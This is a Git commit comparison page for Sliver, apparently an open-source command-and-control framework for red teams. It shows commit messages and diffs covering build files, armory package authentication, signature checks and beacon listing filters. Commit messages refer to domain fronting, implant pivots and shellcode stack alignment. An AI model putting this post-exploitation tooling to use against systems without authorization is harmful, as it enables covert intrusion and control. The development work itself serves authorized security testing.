Compare commits

...
Author SHA1 Message Date
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
119 changed files with 4080 additions and 2329 deletions

No files matched your search

+6 -6
View File
@@ -7,17 +7,17 @@ on:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.18
@@ -52,7 +52,7 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.18
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18
FROM golang:1.18.3
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+12 -3
View File
@@ -77,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -115,8 +119,13 @@ macos-arm64: clean validate-go-version
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
+27 -3
View File
@@ -21,7 +21,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +32,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+2 -2
View File
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
+2
View File
@@ -269,6 +269,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
+34 -20
View File
@@ -38,12 +38,15 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// AmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -395,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -431,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -452,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -472,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+31 -6
View File
@@ -20,11 +20,13 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+45 -13
View File
@@ -58,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -80,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
@@ -92,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
@@ -117,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -125,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
+75 -15
View File
@@ -21,6 +21,7 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -71,27 +72,36 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
@@ -132,16 +142,42 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
